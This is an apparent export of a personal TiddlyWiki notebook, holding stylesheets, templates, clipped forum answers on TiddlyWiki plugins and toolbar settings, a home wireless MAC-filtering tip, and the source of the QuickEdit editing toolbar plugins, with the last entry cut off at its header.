 border:1px solid #DDD;
 margin: 0 0em;
 padding-top: 0px;
}



body { background: url("http://img168.imageshack.us/img168/1254/leftbackdo6.gif"); background-repeat: repeat;
background: #abf;
}

#outer {
align:center;
 max-width:920px;
 min-width:250px
 margin:auto;
 }

#hdr {
 height:100%;
background:url("http://img261.imageshack.us/img261/8603/navbargrayhw1.png") repeat-x top left;top left;
background-color:#eee; 
color: #333333;
white-space:nowrap;
 }


#hdr a:hover {
	background: #FFF;
	color: #F00;
}

#slantedmenu {
height:100%;
white-space:nowrap;
}



#bar {
 height:100%;

}

#bodyblock {
 position:relative;
 background: #dcdcdc;
 color: #333333;
 width:650px;
 padding:0;
 }

#l-col {
 float:left;
 background:#dcdcdc;
 color: #333333;
 width:145px;
 }

#cont {
 width:100%;
 background:#ffffff;
 color: #333333;
 text-align:left;
 margin:auto;
 }

#systemcontents {
 height: 350px; 
 width: 100%; 
 position:relative;
 overflow: auto;
 margin:auto;
 }


#ftr {
 height:100%;
 background:#fff;
 color: #333333;
 border:solid black;
 border-width:1px 0 0 0;
 margin-top:1em;
 margin-bottom:1em;
 }


/* Presentation Stylesheet */ 

h3, p {
 margin:0;
 padding:15px;
 }

h4 {
 margin:0; 
 padding: 5px 0;
 }
 
p:first-letter {
 font-size: 80%; 
 font-weight: bold;
 color:blue;
 }
[[{Index}]]
[[AllTabs]]
[[BackstageCSS]]
[[ButtonStyle]]
[[CustomCSS]]
[[History]]
[[PageCSS]]
[[PageTemplate]]
[[Programs]]
[[SlantedStyle]]
[[SlantedMenu]]
[[StyleSheet]]
[[StyleSheetTiddlersBar]]
[[Styling]]
[[ViewTabs]]
<!--{{{-->
<div id="outer"><div id='hdr' align='left' refresh='content'  tiddler='SilverHeader'></div><a name="top"></a> 
<div id='slantedmenu' refresh='content'  tiddler='SlantedMenu'></div><div id='tiddlersBar' refresh='none' ondblclick='config.macros.tiddlersBar.onTiddlersBarAction(event)'></div><div id="cont">
<div id='displayArea'><div id='tiddlerDisplay'></div>
<div id='messageArea'></div>
</div><div id="ftr" align="center" refresh='content'  tiddler='ContentFooter'></div><div id='sidebar'></div></div></div
<div style="position:fixed;z-index:1001;bottom:.3em;left:.3em;cursor:pointer;font-size:9pt;">
	<a href="javascript:window.scrollTo(0,0)" title="scroll to top of page">&#x25b2</a>
</div>
<!--}}}-->
~SideSnips
[[Pegasus Mail & Mercury - pmail as default under Vista|http://community.pmail.com/forums/thread/6284.aspx]]
> I tried putting in a standards based phone number in my TW and the
> Skype add on didn't recognize it [...]

I don't know that add-on, but I would guess it parses the respective
page - since TiddlyWiki's rendering is highly dynamic, that static-HTML
approach doesn't work.

> maybe something even cooler like a generic SIP TW plug in.

I'm not sure you need a plugin for that - as far as I know, you can use
the SIP protocol in URLs (e.g. sip://01234 56789).
So you should be able to create a simple link:
     Doe, John
     [[e-mail|mailto:J...@Doe.name]]
     [[phone|sip:0123456789]]
If your system has an application handling that protocol, the browser
should pass on the respective details to that program.

> an exterior folder you save your messages to that you link
> inside TW for end users like me

Take a look here:
     http://www.tiddlywiki.org/wiki/Including_External_Data
Maybe one of those plugins could do that.

> Ideally there would be a list of all kinds of Browser add on's and
> plug ins and ways to implement in TW.

You could start a page on the community wiki - initial seeding content
often prompts further contributions.

-- F. 

Source: [[Phone Plug In Implementation - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/d6c940fbece44810]]
> Where do you put the code for macros and plugins?
> do they go in a particular tiddler?
> Is there a way to make them global?

Plugins are tiddlers that contain any javascript functions they want,
including functions that define new macros.   Each plugin is contained
a separate tiddler.  Plugins are tagged with "systemConfig" so the TW
core knows to initialize them when the document is loaded into the
browser.

Use the backstage>import feature to *import* the desired tiddler into
your document, then save-and-reload for the plugin to take effect.  If
you use the copy/paste method instead of the import function, you must
select and copy *everything* contained in the source tiddler when
viewed in *edit* mode, including all the 'non-code' content, some of
which is used by the core to help manage the installed plugins... and
also contains the credits, links and licensing notices that are
usually required by the terms of use as established by the plugin
author, as well as documentation on usage, configuration, etc.

HTH,
-e

Source: [[Plug ins and Macros - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/1e758ec1ab719acd]]
> http://www.tiddlytools.com/#CopyTiddlerPlugin lets you create
> numbered copies of a tiddler, but the newly created copy is the most
> recent version. Instead, I want the opposite result from the copying
> process whereby the source tiddler becomes the most recent version and
> the newly created copy takes on the date and time properties that the
> source tiddler had before the copy was made.

I've just added an option to CopyTiddlerPlugin:

   {{{<<option chkCopyTiddlerDate>>}}} use date/time from existing tiddler

Default for this setting is false (i.e., copied tiddlers use current
date/time).  Enabling this setting causes the newly created copy to
have the same modification date as the original 'source' tiddler.

Get the update (v3.2.5) here:
   http://www.TiddlyTools.com/#CopyTiddlerPlugin 

Source: [[Plugin to save numbered tiddler revisions? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/a7da50539afc2386#]]
Welcome to PluginDoc
News
June 9, 2008

Rumours of my death are greatly exaggerated! The following updates are in progress:

    * Testing against Firefox 3.0 and Opera 9.5 Beta 2
    * Removal of content specific to Win9x/NT4
    * General cleanup and update work

Comments? Suggestions? Submissions? Fire away!

Source: [[PluginDoc: Home|http://plugindoc.mozdev.org/]]
{{textleft{
!!!<<gradient horiz #fcb #fff>>&nbsp;PluginServers^^<<tiddler CloseThisOpen with: ThirdPartyPlugins  '« back'>>|<<toolbar editTiddler>>» ^^>>
There is a proxy method that overcomes the built in security that normally prevents cross domain importing of tiddlers. @@color:#C06;''&raquo; &raquo;'' @@ [[BidiXTW's ProxyService|http://tiddlywiki.bidix.info/#ProxyService]] and @@color:#C06;''&raquo; &raquo;'' @@[[Proxy service available for Tiddlyspot sites|http://tinyurl.com/29x8wk]]
}}}
|bgcolor:#abf; Description |bgcolor:#abf; URL |
|bgcolor:#faf;The Complete Plugin List|bgcolor:#faf;http://tiddlyvault.tiddlyspot.com/|
|[[AbegoExtensions|I:\AbegoDe\tiddlywiki.abego-software.de_index_4.htm]]|http://tiddlywiki.abego-software.de/|
|~BidiXTWServer|http://tiddlywiki.bidix.info/|
|~BobsPluginsServer|http://bob.mcelrath.org/plugins.html|
|Gimcrack'dServer|http://gimcrackd.com/etc/src/|
|~GoogleGroups|http://groups.google.com/group/TiddlyWiki/topics|
|~JacksTiddlyWikiServer|http://jackparke.googlepages.com/jtw.html|
|~LewcidTWServer|http://tw.lewcid.org/|
|~MartinsPluginsServer|http://www.martinswiki.com/|
|~MonkeyPirateTWServer|http://mptw.tiddlyspot.com/|
|~PeachTWServer	|http://bradleymeck.tiddlyspot.com/|
|Paul Soares|http://www.math.ist.utl.pt/~psoares/addons.html#Plugins|
|~PrinceExtensionsServer|http://ptw.sourceforge.net/ptwe.html|
|~RedMountainVistaServer|http://solo.dc3.com/tw/|
|~TiddlySpot|http://www.TiddlySpot.com|
|~TiddlyStylesServer|http://tiddlystyles.com/|
|[[TiddlyToolsServer|file:///D:\Web Pages\TiddlyWiki2.3\TW2.3.0\TiddlyTools20080311\TiddlyTools_index.html]]|http://www.tiddlytools.com/|
|~TiddlyWikiServer|http://www.TiddlyWiki.com/|
|~VisualTW|http://visualtw.ouvaton.org/VisualTW.html|
#{{bigLink{[[TW Help|http://twhelp.tiddlyspot.com/]]}}} @@color:#C06;''&raquo; &raquo;'' @@ a tiddlywiki help site for beginners
#{{bigLink{[[Sidebar Plugin Vault|http://sidebarpluginvault.tiddlyspot.com/]]}}}@@color:#C06;''&raquo; &raquo;'' @@ A directory of all known plugins for your sidebar
#{{bigLink{[[Tiddlyspot|http://tiddlyspot.com]]}}} @@color:#C06;''&raquo; &raquo;'' @@ Get New Tiddlywikis and hosting
#{{bigLink{[[TiddlyWiki for the rest of us |http://www.giffmex.org/twfortherestofus.html]]}}} @@color:#C06;''&raquo; &raquo;'' @@~TiddlyWiki tutorial 
## @@color:#C06;Some other sites, themes and applications to download.''&raquo; &raquo;'' @@
##[[Journal|http://www.giffmex.org/organizertw.html]] 
##[[My Notes|http://www.giffmex.org/emptynotestw.html]]
##[[TW Showcase|http://giffmex.tiddlyspot.com/]] 
##[[TiddlyDu|http://www.giffmex.org/tiddlydu.html]]
##[[Plugin (vault ) Directory|http://tiddlyvault.tiddlyspot.com/]]
##[[Web View Example|http://www.giffmex.org/webviewtwexample.html]]
!!!!!<<gradient horiz #fcb #fff>>&nbsp;[[Plugins]]>>
@@color:#C06;''&raquo; &raquo;'' @@ Tabs containing programs (plugins) written in ~JavaScript (if tagged as systemConfig begin running at startup.)
----
<script>
// get all tiddlers tagged with "systemConfig"
var tids=store.getTaggedTiddlers("systemConfig");
// keep only tiddlers *also* tagged with New
var list=[];
for (var t=0; t<tids.length; t++)
   if (tids[t].isTagged("systemConfig")) list.push(tids[t]);
// create output list of tiddler titles, one per line
var out="";
for (var t=0; t<list.length; t++) out+="#[["+list[t].title+"]]\n";
return out;
</script> 
!PluginsList
{{liststyleimagenone underlineLink {
<<tiddlerList tags:plugin-ts order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
}}}
> I've managed to prevent actual editing from visitors on a public TW,
> but is there any way to simply make it impossible for them to even go
> into "view" mode?
> I.e "double click" causing nothing.
> No "view" menu option, and actually no "more" either preferably?

Edit the slice table in the shadow tiddler, [[ToolbarCommands]].

The individual slices (table rows) define the toolbar content for the
ViewTemplate and EditTemplate, respectively.

If a toolbar command is preceded by "+", it is associated with the
double-click action.  By default, the ViewTemplate toolbar includes
"+editTiddler"... if you remove the "+", then no double-click action
will be performed.  If you remove the entire "+editTiddler" entry in
the list, the "view/edit" menu will be omitted from the toolbar. 

Source: [[Prevent from enter into edit/view mode in public TW - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/544544e56509882a]]
Firefox 3 Security

Source: [[Profile: Firefox 3 Security|http://netsecurity.about.com/od/webbrowsersecurity/ss/Firefox3_5.htm]]
[[ViewTemplate]]
[[TiddlerNotesPlugin]]
[[nonotesViewTemplate]]
[[EditTemplate]]
#We have to generate a list that contains all the tiddlers we need to open for the project ProjectNotesList
#We must generate an {IndexNotes} Tiddler and put it on the main {Index}
#We have to make a nonotesViewTemplate identical  the original ViewTemplate
#We have to modify ViewTemplate to have notes show up in all tabs that are not tagged 'nonotes'
#We must modify TiddlerNotesPlugin to format what we want the notes to say  I say change them tho Comments and not use the 'notes' terminology
It is great to be able to access your network resources from anywhere in your home or office without having to plug into a wired network connection. But, if you can connect to your wireless access point from 80 feet away, then potentially every other wireless device in an 80-foot radius of your access point can as well.

There are a number of basic wireless security steps that many are already familiar with. Simple things like changing the SSID (service set identifier) from the vendor's default and disabling SSID broadcasting so you don't draw undo attention to your wireless network are a good start. Enabling some form of encryption, WEP (although it is quite flawed) or WPA, will help protect the data as it flies through the air and secure the communications between your device and the wireless router or access point.

Beyond these steps though, wireless routers or access points can generally filter access by MAC address as well. The MAC address is a unique identifier of your wireless network adapter. For a large enterprise with hundreds or thousands of wireless devices, it may not be feasible to try to maintain a listing of everyone's MAC address and constantly update the access list as users come and go. But, home offices or small to medium businesses may be able to add an extra layer of protection by filtering based on MAC address.

To determine the MAC address on a Windows system follow these steps:

   1. Click Start
   2. Click Run
   3. Enter command and press enter
   4. In the command console, type "ipconfig /all" and press enter
   5. If you have more than one network adapter, the details of each will be displayed
   6. Locate the wireless adapter information
   7. The MAC Address is the information labeled Physical Address

Refer to the directions for your wireless router or access point to find out how to enable MAC address filtering. Once you enable MAC address filtering and enter the MAC addresses of each of your wireless devices, the wireless router or access point will only allow those devices with MAC addresses on the access list to connect to the wireless network.

It is possible using various wireless and network sniffing tools to capture and spoof MAC addresses, so this method is not fool-proof. But, like my tip Rename The Administrator Account, that is no reason to make it any easier for novice hackers or casual snoopers to get into your network.

Tony Bradley is a consultant and writer with a focus on network security, antivirus and incident response. He is the About.com Guide for Internet / Network Security (http://netsecurity.about.com), providing a broad range of information security tips, advice, reviews and information. Tony also contributes frequently to other industry publications. For a complete list of his freelance contributions you can visit Essential Computer Security (http://www.tonybradley.com).

Article not looking right or info is missing? Let us know so that we can fix it: info@windowsnetworking.com.

Source: [[Protect Wireless Access Using MAC Address Filters|http://www.windowsnetworking.com/kbase/WindowsTips/WindowsXP/AdminTips/Security/ProtectWirelessAccessUsingMACAddressFilters.html]]
When programming Python, I tend to visit the most current reference documentation quite often.

To get faster and more convenient access to the documentation, inspired by Mark Hammond’s sidebar, I wrote an updated sidebar for the Mozilla family of web browser.

The sidebar also offers simple searching of related python websites and mailing lists.

Source: [[Edgewall Software: Python Sidebar|http://www.edgewall.org/python-sidebar/]]
Python Syntaxify  Python syntax patterns for the Syntaxify plugin

Source: [[Python Syntaxify - Python syntax patterns for the Syntaxify plugin|http://python.syntaxify.tiddlyspot.com/]]
 @@color:#C06;''&raquo; &raquo;'' @@ Get it here http://tiddlytools.com/#QuickEditPackage 

Provides a secondary toolbar for use when editing a tiddler.  This toolbar allows you to quickly insert TiddlyWiki tiddler links, images, macros, etc. or common formatting sequences directly into tiddler content, as well as providing find/replace, sort, and 'split' functions that operate on the tiddler source content displayed in the editor.

{{textleft{<<tiddler QuickEditToolbar with: show>>}}}
+++[installation instructions...]>...
After importing these tiddlers, add the following line to your EditTemplate:
{{{
<div macro='tiddler QuickEditToolbar'></div>
}}}
and add the following line to your StyleSheet:
{{{
[[StyleSheetShortcuts]]
}}}
Note that, after adding the QuickEditToolbar to your EditTemplate, it is //not automatically displayed when editing a tiddler//.  To enable display of the toolbar, you can add the following configuration option control to your SideBarOptions (or any other suitable location):
{{{
<<option chkShowQuickEdit>> show QuickEdit toolbar
}}}
When this option is checked and you subsequently edit a tiddler, the QuickEditToolbar will then be displayed.  Alternatively, you can 'hard-code' this setting, so that the QuickEditToolbar will //always// be displayed, by creating a tiddler (e.g., ConfigTweaks), tagged with <<tag systemConfig>>, containing:
{{{
config.options.chkShowQuickEdit=true;
}}}
Optionally, to add a tiddler command item that toggles the display of the QuickEditToolbar while editing a tiddler, insert the following line to your EditTemplate:
{{{
<span class='toolbar' macro='toolbar toggleQuickEdit'></span>
}}}
You can also add individual ~QuickEdit toolbar buttons (e.g. [[QuickEdit_replace]], [[QuickEdit_link]], etc) directly to the tiddler editor menu, by inserting one or more lines to your EditTemplate, like this:
{{{
<span class='toolbar' macro='tiddler QuickEdit_replace'></span>
}}}
===
/***
|Name|QuickEditPlugin|
|Source|http://www.TiddlyTools.com/#QuickEditPlugin|
|Documentation|http://www.TiddlyTools.com/#QuickEditPlugin|
|Version|2.4.1|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|Support functions for ~QuickEdit package: styles, utility functions, and 'toggleQuickEdit' command|
!!!!!Revisions
<<<
2008.09.07 [2.4.1] added removeOptionCookie() function for compatibility with [[CookieManagerPlugin]]
2008.05.17 [2.4.0] copied code from StickyPopupPlugin to remove dependency
2008.05.12 [2.3.0] added "toggleQuickEdit" command handler (replaces inline script command)
2008.01.11 [2.2.0] converted from inline script
2007.03.29 [1.0.0] initial release (as inline script)
<<<
!!!!!Code
***/
//{{{
version.extensions.QuickEditPlugin= {major: 2, minor: 4, revision: 1, date: new Date(2008,9,7)};

// SET STYLESHEET (for toolbar button style)
setStylesheet(".quickEdit a { border:2px outset ButtonFace; -moz-appearance:button; padding:0px 3px; \
	background-color:ButtonFace; color:ButtonText !important;  line-height:200%; font-weight:normal; }", "quickEditStyles");

// if removeOptionCookie() function is not defined by TW core, define it here.
if (window.removeOptionCookie===undefined) {
window.removeOptionCookie=function(cookie) {
	var ex=new Date(); ex.setTime(ex.getTime()-1000);  // immediately expire cookie
	document.cookie = cookie+"=novalue; path=/; expires="+ex.toGMTString();
}
}

// UTILITY FUNCTIONS
config.quickEdit = {
	getField: function(where) {
		var here=story.findContainingTiddler(where); if (!here) return null;
		var e=story.getTiddlerField(here.getAttribute("tiddler"),"text");
		if (e&&e.getAttribute("edit")=="text") return e;
		return null;
	},
	setSelection: function(where,newtext) {
		var e=this.getField(where); if (!e) return false;
		e.focus(); replaceSelection(e,newtext);
		return false;
	},
	wrapSelection: function(where,before,after) {
		var e=this.getField(where); if (!e) return false;
		e.focus(); replaceSelection(e,before+config.quickEdit.getSelection(e)+after);
		return false;
	},
	getSelection: function(e) {
		var seltext="";
		if (e&&e.setSelectionRange)
			seltext=e.value.substr(e.selectionStart,e.selectionEnd-e.selectionStart);
		else if (document.selection) {
			var range = document.selection.createRange();
			if (range.parentElement()==e) seltext=range.text
		}
		return seltext;
	},
	promptForFilename: function(msg,path,file) {
		if(window.Components) { // moz
			try {
				netscape.security.PrivilegeManager.enablePrivilege('UniversalXPConnect');
				var nsIFilePicker = window.Components.interfaces.nsIFilePicker;
				var picker = Components.classes['@mozilla.org/filepicker;1'].createInstance(nsIFilePicker);
				picker.init(window, msg, nsIFilePicker.modeOpen);
				var thispath = Components.classes['@mozilla.org/file/local;1'].createInstance(Components.interfaces.nsILocalFile);
				thispath.initWithPath(path);
				picker.displayDirectory=thispath;
				picker.defaultExtension='jpg';
				picker.defaultString=file;
				picker.appendFilters(nsIFilePicker.filterAll|nsIFilePicker.filterImages);
				if (picker.show()!=nsIFilePicker.returnCancel)
					var result="file:///"+picker.file.persistentDescriptor.replace(/\\/g,'/');
			}
			catch(e) { alert('error during local file access: '+e.toString()) }
		}
		else { // IE
			try { // XP only
				var s = new ActiveXObject('UserAccounts.CommonDialog');
				s.Filter='All files|*.*|JPG files|*.jpg|GIF files|*.gif|PNG files|*.png|';
				s.FilterIndex=1; // default to JPG files;
				s.InitialDir=path;
				s.FileName=file;
				if (s.showOpen()) var result=s.FileName;
			}
			catch(e) { var result=prompt(msg,path+file); } // fallback for non-XP IE
		}
		return result;
	}
}
//}}}

//{{{
if (config.options.chkShowQuickEdit===undefined) config.options.chkShowQuickEdit=false;
config.commands.toggleQuickEdit = {
	hideReadOnly: true,
	getText: function() { return config.options.chkShowQuickEdit?'\u221Aquickedit':'quickedit'; },
	tooltip: 'show QuickEdit toolbar buttons',
	handler: function(event,src,title) {
		config.options.chkShowQuickEdit=!config.options.chkShowQuickEdit;
		config.macros.option.propagateOption("chkShowQuickEdit","checked", config.options.chkShowQuickEdit,"input");
		// save cookie when toolbar shown, remove cookie when toolbar hidden
		if (config.options.chkShowQuickEdit) saveOptionCookie("chkShowQuickEdit");
		else removeOptionCookie("chkShowQuickEdit");
		// set link and title based on option state
		src.innerHTML=config.commands.toggleQuickEdit.getText();
		// refresh all actively displayed tiddler editor(s)
		story.forEachTiddler(function(t,e){if (story.isDirty(t)) refreshElements(e);});
		return false;
	}
};
//}}}

// // COPIED FROM [[StickyPopupPlugin]] TO ELIMINATE PLUGIN DEPENDENCY
//{{{
if (config.options.chkStickyPopups==undefined) config.options.chkStickyPopups=false;
Popup.stickyPopup_onDocumentClick = function(ev)
{
	// if click is in a sticky popup, ignore it so popup will remain visible
	var e = ev ? ev : window.event; var target = resolveTarget(e);
	var p=target; while (p) {
		if (hasClass(p,"popup") && (hasClass(p,"sticky")||config.options.chkStickyPopups)) break;
		else p=p.parentNode;
	}
	if (!p) // not in sticky popup (or sticky popups disabled)... use normal click handling
		Popup.onDocumentClick(ev);
	return true;
};
try{removeEvent(document,"click",Popup.onDocumentClick);}catch(e){};
try{addEvent(document,"click",Popup.stickyPopup_onDocumentClick);}catch(e){};
//}}}
/%
|Name|QuickEditToolbar|
|Source|http://www.TiddlyTools.com/#QuickEditToolbar|
|Version|2.1.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin, InlineJavascriptPlugin|
|Optional|QuickEdit_replace, QuickEdit_split, QuickEdit_link, QuickEdit_macro, QuickEdit_image, QuickEdit_tiddler, QuickEdit_file, QuickEdit_format, QuickEdit_sort|
|Overrides||
|Description|quickly insert TiddlyWiki tiddler links or common formatting sequences directly into tiddler content|

Usage (in EditTemplate): <div macro='tiddler QuickEditToolbar with: show'></div>

where "show" is an OPTIONAL keyword to force the toolbar to be displayed regardless of the current 'toggle' state

%/<<tiddler HideTiddlerTags>>/%

TOOLBAR DEFINITIONS BEGIN HERE...
= = = = = = = = = = = = = = = = =
%/{{hidden fine center quickEdit{
<script>
	// note: always show toolbar when directly viewing the tiddler containing the actual toolbar definition!
	var here=story.findContainingTiddler(place); if (here) var tid=here.getAttribute("tiddler");
	var show="$1"!="$"+"1"||config.options.chkShowQuickEdit||tid=="QuickEditToolbar" 
	place.style.display=show?"block":"none";
</script>/%
%/<<tiddler QuickEdit_format>>/%
%/<<tiddler QuickEdit_align>>/%
%/<<tiddler QuickEdit_color>>/%
%/<<tiddler QuickEdit_font>>/%
%/ &nbsp;/% (SPACER)
%/<<tiddler QuickEdit_equation>>/%
%/ &nbsp;/% (SPACER)
%/<<tiddler QuickEdit_link>>/%
%/<<tiddler QuickEdit_macro>>/%
%/<<tiddler QuickEdit_image>>/%
%/<<tiddler QuickEdit_tiddler>>/%
%/}}}
/%
|Name|QuickEdit_align|
|Source|http://www.TiddlyTools.com/#QuickEdit_align|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for toolbar button for text alignment|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_align>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_align'></span>

**** ALIGNMENT ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="align text"
onclick="var p=Popup.create(this); if (!p) return false; p.className+=' sticky smallform';
	var s=createTiddlyElement(p,'select'); s.button=this;
	s.options[0]=new Option('select text alignment...','');
	s.onchange=function(){
		config.quickEdit.wrapSelection(this.button,'{{'+this.value+'{','}}}');
		Popup.remove(); return false;
	};
	s.options[s.length]=new Option('left','left');
	s.options[s.length-1].title='{{left{...}}}';
	s.options[s.length]=new Option('center','center');
	s.options[s.length-1].title='{{center{...}}}';
	s.options[s.length]=new Option('right','right');
	s.options[s.length-1].title='{{right{...}}}';
	s.options[s.length]=new Option('justify','justify');
	s.options[s.length-1].title='{{justify{...}}}';
	s.options[s.length]=new Option('float left','floatleft');
	s.options[s.length-1].title='{{floatleft{...}}}';
	s.options[s.length]=new Option('float right','floatright');
	s.options[s.length-1].title='{{floatright{...}}}';
	Popup.show(p,false);
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>align</a></html>
/%
|Name|QuickEdit_color|
|Source|http://www.TiddlyTools.com/#QuickEdit_color|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition of toolbar button for "color" command|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_color>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_color'></span>

**** COLOR ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
title="text/background color - @@color:#RGB;background-color:#RGB;...@@"
onclick="var p=Popup.create(this,null,'popup sticky smallform'); if (!p) return false;
 	p.style.padding='2px';
	function hex(d) { return '0123456789ABCDEF'.substr(d,1); }
	var fg=createTiddlyElement(p,'select'); fg.button=this;
	fg.style.width='12em';
	fg.options[0]=new Option('text color...','');
	fg.options[1]=new Option('\xa0 or enter a value','_ask');
	fg.options[2]=new Option('\xa0 or use default color','');
	for (var r=0;r<16;r+=3) for (var g=0;g<16;g+=3) for (var b=0;b<16;b+=3) {
		var label=hex(r)+hex(g)+hex(b);
		fg.options[fg.length]=new Option(label,'#'+label);
		fg.options[fg.length-1].style.color='#'+label;
	}
	fg.onchange=function(){ var val=this.value;
		if (val=='_ask') { val=prompt('Enter a CSS color value');
		if (!val||!val.length) return false; }
		this.options[0].value=val; this.options[0].text=val.length?'text: '+val:'text color...';
		var bg=this.nextSibling;
		for (var i=3;i<bg.options.length;i++) bg.options[i].style.color=val;
		var preview=this.nextSibling.nextSibling.nextSibling;
		var t=config.quickEdit.getSelection(config.quickEdit.getField(this.button));
		t=t.replace(/^@@(color\:.+;)?(background-color\:.+;)?/,'').replace(/@@$/,'');
		if (!t.length) t='~AaBbCcDdEeFfGgHhIiJj 1234567890';
		var fg=this.value; if (fg.length) fg='color:'+fg+';';
		var bg=this.nextSibling.value; if (bg.length) bg='background-color:'+bg+';';
		if (fg.length||bg.length) t='@@'+fg+bg+t+'@@';
		removeChildren(preview); wikify(t,preview);
		this.selectedIndex=0; return false;
	};
	var bg=createTiddlyElement(p,'select'); bg.button=this;
	bg.style.width='12em';
	bg.options[0]=new Option('background color...','');
	bg.options[1]=new Option('\xa0 or enter a value','_ask');
	bg.options[2]=new Option('\xa0 or use default color','');
	for (var r=0;r<16;r+=3) for (var g=0;g<16;g+=3) for (var b=0;b<16;b+=3) {
		var label=hex(15-r)+hex(15-g)+hex(15-b);
		bg.options[bg.length]=new Option(label,'#'+label);
		bg.options[bg.length-1].style.backgroundColor='#'+label;
	}
	bg.onchange=function(){ var val=this.value;
		if (val=='_ask') { val=prompt('Enter a CSS color value');
		if (!val||!val.length) return false; }
		this.options[0].value=val;
		this.options[0].text=val.length?'background: '+val:'background color...';
		var fg=this.previousSibling;
		for (var i=3;i<fg.options.length;i++) fg.options[i].style.backgroundColor=val;
		var preview=this.nextSibling.nextSibling;
		var t=config.quickEdit.getSelection(config.quickEdit.getField(this.button));
		t=t.replace(/^@@(color\:.+;)?(background-color\:.+;)?/,'').replace(/@@$/,'');
		if (!t.length) t='~AaBbCcDdEeFfGgHhIiJj 1234567890';
		var fg=this.previousSibling.value; if (fg.length) fg='color:'+fg+';';
		var bg=this.value; if (bg.length) bg='background-color:'+bg+';';
		if (fg.length||bg.length) t='@@'+fg+bg+t+'@@';
		removeChildren(preview); wikify(t,preview);
		this.selectedIndex=0; return false;
	};
	var b=createTiddlyElement(p,'input',null,null,null,{type:'button'}); b.button=this;
	b.value='ok'; b.style.width='4em';
	b.onclick=function() {
		var fg=this.previousSibling.previousSibling.value; if (fg.length) fg='color:'+fg+';';
		var bg=this.previousSibling.value; if (bg.length) bg='background-color:'+bg+';';
		var t=config.quickEdit.getSelection(config.quickEdit.getField(this.button));
		t=t.replace(/^@@(color\:.+;)?(background-color\:.+;)?/,'').replace(/@@$/,'');
		if (fg.length||bg.length) config.quickEdit.setSelection(this.button,'@@'+fg+bg+t+'@@');
		Popup.remove(); return false;
	};
	var preview=createTiddlyElement(p,'div',null,'viewer'); var s=preview.style;
	s.border='1px solid'; s.margin='2px'; s.width='24em'; s.padding='3px'; s.MozBorderRadius='3px';
	s.overflow='hidden'; s.textAlign='center'; s.whiteSpace='normal';
	var t=config.quickEdit.getSelection(config.quickEdit.getField(this));
	wikify(t.length?t:'~AaBbCcDdEeFfGgHhIiJj 1234567890',preview);
	Popup.show(p,false);
	event.cancelBubble=true;if(event.stopPropagation)event.stopPropagation();return false;"
>color</a></html>
/%
|Name|QuickEdit_css|
|Source|http://www.TiddlyTools.com/#QuickEdit_css|
|Version|2.2.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin|
|Overrides||
|Description|definition for toolbar button for inline css and css class wrappers|

Usage:
QuickEditToolbar: <<tiddler QuickEdit_css>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_css'></span>

%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
	title="inline CSS styles - @@attr:value;attr:value;...@@"
	onclick="var css=prompt('Enter CSS attribute/value pairs (attr:val;attr:val;...;)','');
		if (!css) return false; /* cancelled by user */
		return config.quickEdit.wrapSelection(this,'@@'+css+';','@@');"
>style</a></html>/%

%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
	title="CSS class wrapper - {{classname classname etc{...}}}"
	onclick="var c=prompt('Enter a CSS classname','');
		if (!c) return false; /* cancelled by user */
		return config.quickEdit.wrapSelection(this,'{{'+c+'{','}}}');"
>class</a></html>
/%
|Name|QuickEdit_equation|
|Source|TBA|
|Version|1.0.0|
|Author|Morris Gray - twhelp.tiddlywiki.com & Will Bateman - CodeCogs.com|
|License|http://www.codecogs.com|
|~CoreVersion|2.2|
|Type|script|
|Requires|QuickEditPlugin Package http://tiddlytools.com/#QuickEditPackage|
|Overrides||
|Description|definition for toolbar button for equation editing|

This script must be put in MarkupPreHead
{{{<script type="text/javascript" src="http://latex.codecogs.com/editor.js"></script>}}}

Usage:
QuickEditToolbar: <<tiddler QuickEdit_equation>>
OR
EditTemplate: <span class='toolbar' macro='tiddler QuickEdit_equation'></span>

**** INSERT EQUATION ****
%/<html><hide linebreaks><a href="javascript:;" class="tiddlyLink"
	title="embed an equation - "
	onclick="config.quickEdit.id='eqntarget'; OpenLatexEditor('eqntarget','tw',''); "
>equation</a></html>
/%
|Name|QuickEdit_file|
